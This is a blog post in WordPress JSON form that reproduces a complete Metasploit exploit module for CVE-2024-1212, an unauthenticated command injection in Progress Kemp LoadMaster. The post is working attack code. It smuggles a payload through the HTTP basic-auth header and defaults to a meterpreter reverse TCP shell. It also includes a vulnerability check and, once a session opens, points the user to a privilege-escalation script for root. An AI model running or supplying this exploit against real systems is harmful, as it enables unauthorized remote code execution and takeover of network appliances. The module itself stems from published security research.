{"id":56518,"date":"2024-04-29T19:19:43","date_gmt":"2024-04-29T15:19:43","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/178305\/progress_kemp_loadmaster_unauth_cmd_injection.rb.txt"},"modified":"2024-04-29T19:19:43","modified_gmt":"2024-04-29T15:19:43","slug":"kemp-loadmaster-unauthenticated-command-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/kemp-loadmaster-unauthenticated-command-injection\/","title":{"rendered":"Kemp LoadMaster Unauthenticated Command Injection"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Exploit::Remote<br \/>Rank = ExcellentRanking<\/p>\n<p>include Msf::Exploit::Remote::HttpClient<br \/>prepend Msf::Exploit::Remote::AutoCheck<br \/>def flag_file<br \/>return @flag_file unless @flag_file.nil?<\/p>\n<p>@flag_file = &#8216;\/tmp\/&#8217; + Rex::Text.rand_text_alpha(5)<br \/>end<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Kemp LoadMaster Unauthenticated Command Injection&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module exploits an unauthenticated command injection vulnerability in<br \/>Progress Kemp LoadMaster in the authorization header after vversion 7.2.48.1.<br \/>The following versions are patched: 7.2.59.2 (GA), 7.2.54.8 (LTSF) and<br \/>7.2.48.10 (LTS).<br \/>},<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;Dave Yesland with Rhino Security Labs&#8217;,<br \/>],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;CVE&#8217;, &#8216;2024-1212&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/rhinosecuritylabs.com\/research\/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster\/&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/kemptechnologies.com\/kemp-load-balancers&#8217;]],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2024-03-19&#8217;,<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [ CRASH_SAFE ],<br \/>&#8216;SideEffects&#8217; =&gt; [ IOC_IN_LOGS, ARTIFACTS_ON_DISK],<br \/>&#8216;Reliability&#8217; =&gt; [ REPEATABLE_SESSION ]},<br \/>&#8216;Platform&#8217; =&gt; [&#8216;unix&#8217;, &#8216;linux&#8217;],<br \/>&#8216;Arch&#8217; =&gt; [ARCH_CMD],<br \/>&#8216;Privileged&#8217; =&gt; false,<br \/>&#8216;Targets&#8217; =&gt; [<br \/>[<br \/>&#8216;Automatic&#8217;, # Add logic to run the payload only once<br \/>{<br \/>&#8216;Payload&#8217; =&gt; {<br \/>&#8216;Prepend&#8217; =&gt; &#8220;[ -f #{flag_file} ] || ( touch #{flag_file}; (sleep 60; rm #{flag_file})&amp; &#8220;,<br \/>&#8216;Append&#8217; =&gt; &#8216;)&#8217;,<br \/>&#8216;BadChars&#8217; =&gt; &#8220;\\x3a\\x27&#8221;<br \/>}<br \/>}<br \/>],<br \/>[<br \/>&#8216;Do_Not_Prepend_Runonce_Code&#8217;, # This will likely result in 2-3 sessions<br \/>{<br \/>&#8216;Payload&#8217; =&gt; {<br \/>&#8216;BadChars&#8217; =&gt; &#8220;\\x3a\\x27&#8221;<br \/>}<br \/>}<br \/>]],<br \/>&#8216;Default_target&#8217; =&gt; 0,<br \/>&#8216;DefaultOptions&#8217; =&gt; {<br \/>&#8216;PAYLOAD&#8217; =&gt; &#8216;cmd\/linux\/http\/x64\/meterpreter_reverse_tcp&#8217;,<br \/>&#8216;FETCH_WRITABLE_DIR&#8217; =&gt; &#8216;\/tmp\/&#8217;,<br \/>&#8216;SSL&#8217; =&gt; true,<br \/>&#8216;RPORT&#8217; =&gt; 443<br \/>}<br \/>)<br \/>)<\/p>\n<p>register_options([<br \/>OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;The URI path to LoadMaster&#8217;, &#8216;\/&#8217;])<br \/>])<br \/>end<\/p>\n<p>def exploit<br \/>uri = normalize_uri(target_uri.path, &#8216;access&#8217;, &#8216;set&#8217;)<\/p>\n<p>vprint_status(&#8216;Sending payload&#8230;&#8217;)<\/p>\n<p>send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;uri&#8217; =&gt; uri,<br \/>&#8216;vars_get&#8217; =&gt;<br \/>{<br \/>&#8216;param&#8217; =&gt; &#8216;enableapi&#8217;,<br \/>&#8216;value&#8217; =&gt; &#8216;1&#8217;<br \/>},<br \/>&#8216;authorization&#8217; =&gt; basic_auth(&#8220;&#8216;;#{payload.encoded};echo &#8216;&#8221;, Rex::Text.rand_text_alpha(rand(8..15))),<br \/>&#8216;verify&#8217; =&gt; false<br \/>})<br \/>end<\/p>\n<p>def on_new_session(client)<br \/>super<br \/>print_good(&#8216;Now background this session with &#8220;bg&#8221; and then run &#8220;resource run_progress_kemp_loadmaster_sudo_priv_esc_2024.rc&#8221; to get a root shell&#8217;)<br \/>end<\/p>\n<p>def check<br \/>print_status(&#8220;Checking if #{peer} is vulnerable&#8230;&#8221;)<\/p>\n<p>uri = normalize_uri(target_uri.path, &#8216;access&#8217;, &#8216;set&#8217;)<\/p>\n<p>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;uri&#8217; =&gt; uri,<br \/>&#8216;vars_get&#8217; =&gt; {<br \/>&#8216;param&#8217; =&gt; &#8216;enableapi&#8217;,<br \/>&#8216;value&#8217; =&gt; &#8216;1&#8217;<br \/>},<br \/>&#8216;authorization&#8217; =&gt; basic_auth(&#8220;&#8216;&#8221;, Rex::Text.rand_text_alpha(rand(8..15))),<br \/>&#8216;verify&#8217; =&gt; false<br \/>})<\/p>\n<p># No response from server<br \/>unless res<br \/>return CheckCode::Unknown<br \/>end<\/p>\n<p># Check for specific error pattern in headers or body to confirm vulnerability<br \/>if res.headers.to_s.include?(&#8216;unexpected EOF while looking for matching&#8217;) || res.body.include?(&#8216;unexpected EOF while looking for matching&#8217;)<br \/>return CheckCode::Vulnerable<br \/>else<br \/>return CheckCode::Safe<br \/>end<br \/>end<\/p>\n<p>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Exploit::RemoteRank = ExcellentRanking include Msf::Exploit::Remote::HttpClientprepend Msf::Exploit::Remote::AutoCheckdef flag_filereturn @flag_file unless @flag_file.nil? @flag_file = &#8216;\/tmp\/&#8217; + Rex::Text.rand_text_alpha(5)end def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Kemp LoadMaster Unauthenticated Command Injection&#8217;,&#8216;Description&#8217; =&gt; %q{This module exploits an unauthenticated command injection vulnerability inProgress Kemp LoadMaster in the authorization header after vversion &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56518","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56518","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56518"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56518\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56518"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56518"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56518"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}